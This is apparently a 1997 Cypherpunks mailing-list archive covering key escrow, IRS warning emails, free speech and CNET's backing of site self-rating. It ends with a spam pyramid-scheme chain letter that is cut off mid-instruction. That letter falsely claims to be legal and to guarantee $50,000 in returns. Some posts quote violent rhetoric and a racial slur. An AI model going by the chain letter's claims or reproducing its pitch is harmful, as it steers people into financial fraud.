cheaply enough to make it obsolete before it's widely deployed.
You can already do it now with bar-code-like bumper stickers,
but when you can just bill for road use by license plate, there's
a lot less administration required.

And, yes, all of this privacy loss happens because somebody decided
it was convenient to put a car-ownership-tax receipt on the outside
of a car so police can quickly decide if you've paid your taxes...
The rest of it's just implementation details.


>  Odd that this was announced the same day as other annoucements of the 
>British Government joining an EU-wide system to track millions of European
>subversives (including, apparently, those who have been to rock
concerts?). I 
>bet it's just one of them coincidences...

Aren't those European Data Privacy laws great!


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From frissell at panix.com  Wed Jul 23 15:09:26 1997
From: frissell at panix.com (frissell at panix.com)
Date: Thu, 24 Jul 1997 06:09:26 +0800
Subject: Free Money
In-Reply-To: <19970723184547.28534.qmail@zipcon.net>
Message-ID: <3.0.2.32.19970723175833.03dbfca8@panix.com>



At 11:45 AM 7/23/97 -0700, Mike Duvos wrote:
>In response to outside pressure, Swiss bankers have abandoned their
>traditional secrecy laws and published a list of all dormant bank accounts opened
------------------------------------------------------^^^^^^^
>by non-Swiss citizens prior to May 9th, 1945, the end of World War II.

DCF






From frissell at panix.com  Wed Jul 23 15:13:05 1997
From: frissell at panix.com (frissell at panix.com)
Date: Thu, 24 Jul 1997 06:13:05 +0800
Subject: House Tries to Liberate ICs
In-Reply-To: <3.0.2.32.19970721142051.006c6e60@panix.com>
Message-ID: <3.0.2.32.19970723174238.03df3150@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 10:00 AM 7/23/97 -0700, Bill Stewart wrote:

>A much more serious omission is that "longstanding" dates from about
>10 years ago, when NJ Senator Frank Lautenberg, who made his money 
>running ADP, a computer consulting company that rents out its employees
>to businesses, got the law changed to force his competition to 
>use employees rather than independent contractors, which was common.

The infamous Section 1706 of the Tax Reform Act of 1986.

DCF
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From ATU5713 at compuserve.com  Wed Jul 23 15:30:42 1997
From: ATU5713 at compuserve.com (Alan Tu)
Date: Thu, 24 Jul 1997 06:30:42 +0800
Subject: Where Can I Get the Latest Version of Nautilus?
Message-ID: <199707231801_MC2-1B71-346E@compuserve.com>



Hi all,

Is there an FTP site where I can get the latest version of Nautilus?  The
latest version I've got is 0.92.
 






From paul at fatmans.demon.co.uk  Wed Jul 23 16:11:53 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Thu, 24 Jul 1997 07:11:53 +0800
Subject: Keepers of the keys
In-Reply-To: <19970720170513.43286@bywater.songbird.com>
Message-ID: 




> That is *exactly* what Tim is doing.  He is wrapping himself in the
> flag and shouting about how he has the one true vision of what the 
> hallowed founding fathers thought:

Foo. Tim has never claimed to have a true vision, as in all things it is 
highly individual and subjective, nor does he claim that even if his 
vision of their intentions were correct it would be the only correct 
interpretation. An argument based on discrediting the other persons 
perspective rather than trying to make an objective accessment is 
unlikely to ever be productive, clearly you must have no opinion 
whatsoever on this or any other subject or you would be claiming to have 
the one true vision of the reality of the situation, wouldn`t you???.

> >>> Kill the key grabbers and all those who support them. Isn't it exactly what
> >>> Patrick Henry, Thomas Jefferson, and the others would have argued?
> 
> Pardon my patriotic tears...
> 
> Can there be any doubt at all? It's obviously old cheap rhetoric
> through and through, not even Bill Clinton at his worst could match
> it.  Of course, the true believers chorus "Yea, verily", and are
> impressed by the fire and brimstone; and the anon crowd always chimes
> in after a respectful delay... 

Yea, verily.

Surely Kent you are not claiming that the founding fathers would have 
considered it right to stand by passively and allow the government to 
pass laws allowing them to intrude on citizens private communications and 
stored data?

And your implied contention that the congress proponents of GAK are 
entitled to freely propose such legislation is flawed in two ways:

1. Elected poloticians do not have totally unrestricted free speech, this 
is because they are employees of the state and are bound by contract. You 
would not expect a senator to last long if he stood on the steps of 
congress and loudly proclaimed "kill all the niggers". This very same 
contract also involved their swearing an oath to uphold the constitution, 
hence proposing or voting for unconstitutional laws is a breach of this 
contract.

2. Further, the speech of elected officials can directly infringe the 
rights of citizens within their jurisdiction, a congress-critter 
proposing a GAK system or speaking in favour of a compulsory GAK bill is 
shouting fire in a crowded theatre, it is not pure speech.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From frissell at panix.com  Wed Jul 23 16:37:49 1997
From: frissell at panix.com (frissell at panix.com)
Date: Thu, 24 Jul 1997 07:37:49 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707230546.HAA20775@basement.replay.com>
Message-ID: <3.0.2.32.19970723192925.03d17ac0@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 01:09 AM 7/23/97 -0700, Kent Crispin wrote:
>Actually, nothing whatsoever separates Tim from sheeple.  
>
>As anon clearly points out, Tim toes the line with his speech,
>carefully avoiding saying anything that escapes constitutional
>protection.  In fact he frequently sprinkles his posts with comments
>pointing out that some outrageous thing he just said is
>constitutionally protected. 

Some of the people killed, busted, sued, or harassed by the government for 
constitutionally protected speech in the last 50 years:
(in no particular order)

Wilhelm Reich (Died in Federal Prison)
Jake Baker
Christopher Lowe (Financial Newsletters) (LOWE v. SEC, 472 U.S. 181 (1985))
Paul Robert Cohen ("Fuck the Draft" button) (COHEN v. CALIFORNIA, 403 U.S. 15 
(1971))
Al Holmquist (Ordered silenced by Wisconsin Employment Relations Commission) 
(MADISON SCH. DIST. v. WISCONSIN EMP. REL. COMM'N, 429 U.S. 167 (1976))
Junius Irving Scales (Smith Act Commie)(SCALES v. UNITED STATES, 367 U.S. 203 
(1961)) 

There are thousands more.  Making constitutionally protected statements can 
get you loads of trouble.

Additionally, we don't actually know whether or not Tim has committed any 
criminal acts.  We just know he's not dumb enough to mention any such to 
others.

DCF



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From alan at ctrl-alt-del.com  Wed Jul 23 16:37:55 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Thu, 24 Jul 1997 07:37:55 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: 
Message-ID: 



On Wed, 23 Jul 1997, Tim May wrote:

> Date: Wed, 23 Jul 1997 09:53:09 -0700
> From: Tim May 
> To: cypherpunks at Algebra.COM
> Subject: Re: IRS sending warning notes, violating ECPA?
> 
> 
> At 9:16 AM -0700 7/23/97, Ryan Lackey wrote:
> >(I think Tim is doing a lot more for the cypherpunks cause by not being
> >in jail than he would being locked up in jail pending trial for 5 months..
> >but that's not really an issue anyway -- one's life is one's own, do as thou
> >wilt and all)
> 
> Thanks.
> 
> I gather from the quoted comments in Ray A.'s and William G.'s messages
> that Kent Crispin is arguing that I'm one of the sheeple because I have not
> blown up any buildings or committed other felonies. (Actually, how does he
> know I haven't? Perhaps my public personna is not the full story... Hmmhhh.)

I believe the proper term for this is "Agent Provoceteur".

> (And Crispin was not around, on this list or anywhere in cyberspace I ever
> noticed, a few years ago when I anonymously launched Blacknet, a
> clearinghouse for military and other secrets. Consult the archives,
> including the investigations launched by several agencies in D.C. I did it
> as a technology demonstration, though I did get some weird offers of
> information about how the CIA was targetting African diplomats for
> compromise in Georgetown.)

Kent has missed most of the fun on this list.  The RC4 and RC2 postings,
the Clipper revelations via dumpster diving at Micronix (sp?), and lots
more.

> Crispin also has a very poor understanding of what CPs have done,
> apparently thinking the postings on this list in the short time he's been
> here represent the sum total output.

Actually the list had been in quite a bit of decline (almost typed
"Declan" ]:> ) for a while before he showed up.  He needs to go back and
review the archives.  (Maybe someone needs to do a "Historical Review of
the Achievements and Pontifications of the Cypherpunks(tm)" as a doctoral
thesis.)

[snip]

> The courts are our best hope in striking down repressive legislation.
> Congress is not a viable hope...they exist solely to generate more laws.

>From the recient decisions I have seen, it appears that the courts are
starting to reject the Control Freak attitude and roughshod trampling of
the constitution by the Clinton administration.  The Reno "justice"
department keeps coming back with cases saying "we don't have enough
powers to do our job".  The first few times they cut them some slack, but
the more they give Reno and her cohorts, the more they seem to want.
(Nothing less than a complete and total police state seems to satisfy
her.)  I think they are starting to get the point that the DOJ seems to
believe they are above the constitution or that it is no longer relevant.

(I seem to remember a quote that was proported to be from some program
Clinton did for MTV that made similar claims about the first amendment no
longer being relevant these days.  I am not certain if the quote is
correct though, as the source was not very reliable.)

Maybe their is hope via the Supreme Court.  But considering that Clinton
has the ability to "rig the court" with judges that support his ideology,
that may not last.  (Why do I have a feeling that we may see more judges
"retiring" before Clinton/Gore are out of power?)

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.






From frissell at panix.com  Wed Jul 23 16:43:18 1997
From: frissell at panix.com (frissell at panix.com)
Date: Thu, 24 Jul 1997 07:43:18 +0800
Subject: The FBI in Peace and War
Message-ID: <3.0.2.32.19970723193744.03c0e45c@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

The boys (and girls) of TRAC do it again:

Date: Wed, 23 Jul 1997 10:18:35 -0400 (EDT)
From: TRAC 
To: frissell at panix.com
Subject: New TRAC FBI Web Site

	Apologies if this is a repeat message.

	The most comprehensive portrait of how the FBI
enforces America's laws is now available at a new TRAC
site on the World Wide Web. For immediate release. 
Check it out at   http://trac.syr.edu/tracfbi/
	
	Except when the FBI is leaking selected tidbits
about the big case of the day,  the bureau has for many
years been the most secretive of the federal enforcement
agencies.  To a surprising extent -- given all the
headlines -- reporters know very little about the
operations of the federal government's most important
investigative agency.

	What does the FBI do, and not do?  How well does it
do it?  Where does the FBI train its enforcement fire? 
Which sections of the nation have the most FBI
employees?  Maps, charts, graphs, tables, and brief
explaining texts. Drawn from internal administrative
data of the Justice Department, the FBI, and many other
sources.

	In very brief summary, here what's available.

	First,  FY 1992-1996 data on FBI enforcement
actions -- district by district -- for each of the
nation's 90 federal judicial districts.  Referrals,
prosecutions, convictions, median sentences, etc.  Both
actual numbers and appropriate rates.  On a per capita
basis, which districts have the most FBI convictions? 
How does your district compare with other similar ones
and for the nation as whole?  The median FBI sentence in
Maryland (Baltimore)  is eight times longer than Northern
California (San Francisco).  

	How does the FBI compare with the DEA, IRS, ATF and
INS in terms of referrals declined because they were
legally insufficient?  According to the judgements of
assistant U.S.  Attorneys all over the country, not very
well. 

	Second, the FBI has long kept the number of
employees working in different parts of the country
secret.  But here are 1994 FBI staffing levels in each
of the bureau's 55 districts.  Actual numbers and per
capita rates.  The FBI district with its headquarters in
Salt Lake City has more employees per capita than
Detroit and Boston.

	Third, long term enforcement and staffing trends. 
Key changes in what laws the FBI has enforced from 1974
to 1996.  FBI (or the predecessor agency) national
staffing levels from 1908 on -- big spikes during World
War Two, the Korean War, the Vietnam War and President
Reagan's years.

	Fourth.  Ever wondered whether your area might have
a greater potential for white collar crime than other
areas.  Examine that question by comparing the number of
banks, executives, doctors, and other indicators  in
your county with all the others.  Although you can't
count white collar crime, you can count white collars.    

	Again, for immediate release at   http:
trac.syr.edu/tracfbi/

- -- David Burnham and Sue Long


	------------------------------------------------------
 TRAC is a non-partisan data gathering, research and
data distribution organization associated with
Syracuse University.

TRAC has offices in Syracuse at: Syracuse University,
488 Newhouse II, Syracuse, NY 13244-2100 (315-443-
3563) and in Washington at: Suite 301, 666
Pennsylvania Avenue, SE 20003-4319 (202-544-8722)


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From jya at pipeline.com  Wed Jul 23 16:58:16 1997
From: jya at pipeline.com (John Young)
Date: Thu, 24 Jul 1997 07:58:16 +0800
Subject: DEATH TO THE TYRANTS
Message-ID: <1.5.4.32.19970723233941.006d1374@pop.pipeline.com>



Tim May wrote:

>By the way, I don't recall it being mentioned that [my] message from "IRS
>Inspection" had an interesting subject line: DEATH TO TYRANTS.


The six other headers received or forwarded here have the same subject: 
"Something of Interest."

Further, Tim's message is so far the earliest of the batch: 12:18 compared to 
the next at 12:25 which went to a mail list based in Norway. Others followed 
at about 1 minute intervals, the last at 12:33.

See the full headers at:

   http://jya.com/irs-header.txt

BTW, Declan, did you not once write that IRS offices are down the corridor
from yours? If so, would you care to ask the thieves their opinion of the spam,
especially if they are the authors, sneaking into your box and lifting lists
while 
you're sipping and baseballing with the brokers?

Cite me as inquring an CU-FU, if you prefer to keep reportorial distance. Write
up spam story, do, providing that you're up to snuff paying Crispin-bandit 
extortion.

----------

This is a resend of a message sent at 06:53 AM this morning, which
did not make it through, at least not to me.






From dlv at bwalk.dm.com  Wed Jul 23 17:03:40 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Jul 1997 08:03:40 +0800
Subject: Free Money
In-Reply-To: 
Message-ID: 



Tim May  writes:
>
> This again shows the importance of _technological_ solutions to privacy and
> secrecy concerns over _custom_ or _law_ solutions.

Don't ever rely on the gubmint (or anyone else) to obey its own laws.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From wombat at mcfeely.bsfs.org  Wed Jul 23 17:07:06 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Thu, 24 Jul 1997 08:07:06 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: 
Message-ID: 





On Sat, 19 Jul 1997, Paul Bradley wrote:

> 
> > It certainly appears that the IRS has sent "warnings" out to all of us
> > active in the debate. It appears they used the addresses found in e-mail at
> > Bell's residence, from some of the comments here (especially that other
> > lists besides the Cypherpunks list were involved).
> 
> 
> Does anyone here who didn`t recieve a copy of the mail recall if they 
> ever mailed Jim directly, and not through the list?
> 

I've sent mail directly to Jim, and I didn't get any mail from the IRS.

Could have several causes;

a. I did get one, but procmail thought it was stego'd ascii art from 
Dimitri Vulis.

b. The IRS doesn't want to upset a generous donor (I'm still waiting for 
my free tote bag).

c. Jim had killfiled me for being a diseased marsupial.

d. The C4 recipe had some flaws.  ;)

Anyway, I sent Jim mail a few times, but no email from the IRS (that I 
found, anyway).

-r.w.








From declan at well.com  Wed Jul 23 17:11:25 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 24 Jul 1997 08:11:25 +0800
Subject: CNET editor endorses self-labeling, "news site" standard
Message-ID: 



Since the Supreme Court said the online world should be
as free as print, and no self-labeling system exists
for magazines or newspapers, why should the Net be any
different? Why isn't the Net community opposing
"mandatory voluntary" self-labeling systems as
staunchly as newspapers and magazines would fight a
similar requirement? It's best to ask these questions
of Christopher Barr (chris_barr at cnet.com), editor in
chief of CNET, who endorsed such a proposal in his
column below.

Barr says that he wants to ensure "that
only real news organizations claim [the] privilege"
of rating as news sites with RSACnews. But who decides
what's a news site? Is CNET? pathfinder.com? epic.org,
which the government treats as a news site when responding
to FOIA requests? The Drudge Report? How about the NAMBLA
News Journal?

My report on the possible perils of such systems is at:

  http://pathfinder.com/netly/opinion/0,1042,1173,00.html

-Declan

****************

http://www.cnet.com/Content/Voices/Barr/072197/index.html

rating online content can work (7/21/97)

With the Communications Decency Act vanquished once
and for all, it's time to explore alternatives for
protecting our youth from inappropriate online
content. As an independent content provider, CNET's
position has always been to give the power to the
reader (or the reader's parents) and not the
government, to decide which sites have acceptable
content. And now, President Clinton has been forced to
come around to our way of thinking. After initially
supporting the CDA, Clinton is recommending that sites
rate themselves and that parents use filtering
software to set limits for their children.

Self rating systems allow sites to attach labels to
themselves to indicate what kind of content the sites
contain. The labels are interpreted via the Platform
for Internet Content Selection (PICS) technology
endorsed by the World Wide Web Consortium standards
body. The PICS technology allows any group, such as
the PTA or a church, to set content standards that can
then be adopted by individual Web sites. There are
already several rating services such as the
Recreational Software Advisory Council on the Internet
(RSACi), Safe For Kids, and SafeSurf. Early on, CNET
supported the RSACi rating system and chose to rate
both CNET.COM and NEWS.COM.

Controlling content takes two things: content-ratings
and filtering-software. A number of software programs,
including Cyber Patrol, Cyber Sentry, Internet
Explorer, and SurfWatch, already support PICS and can
read the rating labels. Such software blocks out any
sites that don't correspond to the ratings you've
selected. For instance, if your rating system says
that images with partial nudity are inappropriate, the
software won't load those pages.

To be sure, filtering- or blocking-software is not
without limitations. A number of groups, including the
American Civil Liberties Union and the Electronic
Privacy Information Center, support the use of such
software on principle, but they also point out that
filtering software can be used to block any kind of
content, not just sexually explicit material, and so
it can end up restricting free speech. These groups
are also fearful that a foreign government could use
filtering software to control what content its
citizens can access. These are just a few of the
thorny issues that the technology introduces.    
Nevertheless, we at CNET feel that content ratings are
the best alternative, and we'll continue to rate
ourselves using the RSACi guidelines. But we also feel
that different rating systems are necessary to cover
different types of sites. For example, sites that
carry news stories cannot be accurately rated under
the RSACi standards. These were created to allow
parents to block sites with nudity, sex, violence, and
offensive language. But what happens when you visit a
news site that publishes pictures from a war zone
depicting death and destruction? Or a legitimate news
story about an online scam involving pornography
sites? Microsoft faces this dilemma: its Internet
Explorer supports PICS but several of the rating
systems unintentionally block access to its news site,
MSNBC.

Because of situations like these, we feel that bona
fide news sites should be subject to different
criteria. To that end, CNET is also a founding member
of the Internet Content Coalition, which seeks to
establish ratings for news sites and to make sure that
only real news organizations claim this privilege.
Users can then choose to allow access to news while
selecting another rating system like RSACi that
prohibits access to other kinds of sites. We intend to
use the Internet Content Coalition's guidelines to
rate NEWS.COM, while other of our sites, such as
GAMECENTER.COM, will be rated using more restrictive
systems.  

The success of any self-rating and filtering system
depends on how well it works and how it's accepted and
used. What's your opinion? Do you use filtering
software? Should news sites have a separate rating?
Email me and I'll put the responses in my next column.

Christopher Barr is editor in chief of CNET.

###







From alan at ctrl-alt-del.com  Wed Jul 23 17:14:27 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Thu, 24 Jul 1997 08:14:27 +0800
Subject: Free Money
In-Reply-To: 
Message-ID: 



On Wed, 23 Jul 1997, Dr.Dimitri Vulis KOTM wrote:

> Date: Wed, 23 Jul 97 19:23:09 EDT
> From: "Dr.Dimitri Vulis KOTM" 
> 
> Tim May  writes:
> >
> > This again shows the importance of _technological_ solutions to privacy and
> > secrecy concerns over _custom_ or _law_ solutions.
> 
> Don't ever rely on the gubmint (or anyone else) to obey its own laws.

"Never trust a women or a government." - Yellowbeard

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.






From stewarts at ix.netcom.com  Wed Jul 23 17:20:53 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 24 Jul 1997 08:20:53 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: <19970723010939.51681@bywater.songbird.com>
Message-ID: <3.0.2.32.19970723170719.0077610c@popd.ix.netcom.com>



At 07:29 PM 7/23/97 -0400, frissell at panix.com wrote:
>Additionally, we don't actually know whether or not Tim has committed any 
>criminal acts.  We just know he's not dumb enough to mention any such to 
>others.

Sure we do.  I've seen Tim use Bad Language on this list
between the time the CDA was passed and the time it was
booted out.  He's a felon, and he admits it.
He's also committed less specific crimes such as
claiming to own scary weapons, and calling for 
"Death to Tyrants", which is clearly a threat to 
most of Washington and some chunk of Sacramento.
He nearly had his Ontologist's License yanked a year or so ago...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From 13281148 at usa.net  Thu Jul 24 08:21:54 1997
From: 13281148 at usa.net (13281148 at usa.net)
Date: Thu, 24 Jul 1997 08:21:54 -0700 (PDT)
Subject: IT'S YOUR TURN! $50,000 in 90 Days, Guaranteed!!!
Message-ID: <178602760034FBB07049@future.com>



For those of us who HATE selling and who don't know 
a down line from a clothes line .....

You are about to make at least $50,000 - In less than 90 days.
Read the enclosed program....THEN READ IT AGAIN!....
Please don't make the same mistake I made!  I THREW this 
letter away at least twice before I took the time to read it. When I
did, it dawned on me that this could work! Take a look for yourself! A
copy of the letter I received is below.

John

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen
financial problems.  I owed my family, friends, and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow
against my home to support my family and struggling business.  I truly
believe it was wrong for me to be in debt like this.  AT THAT MOMENT
something significant happened in my life and I am writing to share my
experience in hopes that this will change your life
FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '92 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was reading it correctly, I couldn't believe my eyes. 
Here was a MONEY-MAKING PHENOMENON.  I could invest as much as I
wanted to start, without putting me further in debt.  After I got a
pencil and paper and figured it out, I would at least get my money
back.  After determining that the program is LEGAL and NOT A CHAIN
LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need
any money for printing to send out the program, only the cost to
fulfill my orders.  I am telling you like it is, I hope it doesn't
turn you off, but I promised myself that I would not "rip-off" anyone,
no matter how much money it cost me!.

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you
read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE
15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T, SEND
OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in
20 to 90 days was done.  By January 30th, I had received 196 orders
for REPORT #2.  If you go back to the GUARANTEE, "YOU MUST RECEIVE 100
OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE
PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY,
RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for
REPORT #2, 96 more than I needed.  So I sat back and relaxed.  By
March 19th, of my emailing of 10,000, I received $58,000 with more
coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please
take time to read the attached program, IT WILL CHANGE YOUR LIFE
FOREVER! Remember,  it wont work  if you don't try it.  This program
does work, but you must follow it EXACTLY!  Especially the rules of
not trying to place your name in a different place.  It doesn't work,
you'll lose out on a  lot  of  money!  REPORT  #2  explains this. 
Always follow the guarantee, 15 to 20  orders  for REPORT #1, and 100
or more orders for REPORT #2 and you will make  $50,000 or more in 20
to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It
really is a great opportunity with little cost or risk to you.  If you
choose to participate, follow the program and you will be on your way
to financial security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like
piled up on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                        Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember, Alan, there is no free
lunch in life.  You get out of life what you put into it.'  Through
trial and error and a somewhat slow frustrating start, I finally
figured it out. The program works very well, I just had to find the
right target group of people to email it to.  So far this year, I have
made over $63,000 using this program.  I know my dad would have been
very proud of me."

                                        Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business
for ten years.  Then in 1979 my business began falling off.  I was
doing the same things that were previously successful for me, but it
wasn't working.  Finally, I figured it out.  It wasn't me, it was the
economy. Inflation and recession had replaced the stable economy that
had been with us since 1945.  I don't have to tell you what happened
to the unemployment rate...because many of you know from first hand
experience. There were more failures and bankruptcies than ever
before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down into the ranks
of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR
GET POORER."  The traditional methods of making money will never allow
you to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US
and overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any
way. It works exceedingly well as it is now.  Remember to email a copy
of this exciting program to everyone that you can think of.  One of
the people you send this to may send out 50,000...and your name will
be on every one of them!.  Remember though, the more you send out, the
more potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did,
take a little time to read it and REALLY THINK ABOUT IT.  Get a pencil
and figure out what could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested. 
Any doubts you have will vanish when your first orders come in.  IT
WORKS!

                                        Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With
a 5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe me,
many people will do that and more!  By the way, your cost to
participate in this is practically nothing.  You obviously already
have an internet connection and email is FREE!!!  REPORT#3 will show
you the best methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford
Research and The Wall Street Journal have stated that between 50% and
65% of all goods and services will be sold throughout Multi-level
Methods by the mid to late 1990's.  This is a Multi-Billion Dollar
industry and of the 500,000 millionaires in the US, 20% (100,000) made
their fortune in the last several years in MLM.  Moreover, statistics
show 45 people become millionaires everyday through Multi-Level
Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
involved in personal selling.  You do it privately in your own home,
store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere!

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do 
           this by ordering the REPORT from each of the four 4 names 
           listed on the next page.  For each REPORT, send $5 CASH and 
           a SELF- ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to
           the person listed for the SPECIFIC REPORT.  International
           orders should also include $1 extra for postage.  It is
           essential that you specify the NAME and NUMBER of the
           report requested to the person you are ordering from.  You
           will need ALL FOUR 4 REPORTS because you will be REPRINTING
           and RESELLING them. DO NOT alter the names or sequence
           other than what the instructions say.  IMPORTANT:  Always
           provide same-day service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING 
           PRODUCT/REPORT POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will
           tell you the best methods of bulk emailing and acquiring
           email lists.

Step (4)   Email a copy of the entire program (all of this is very
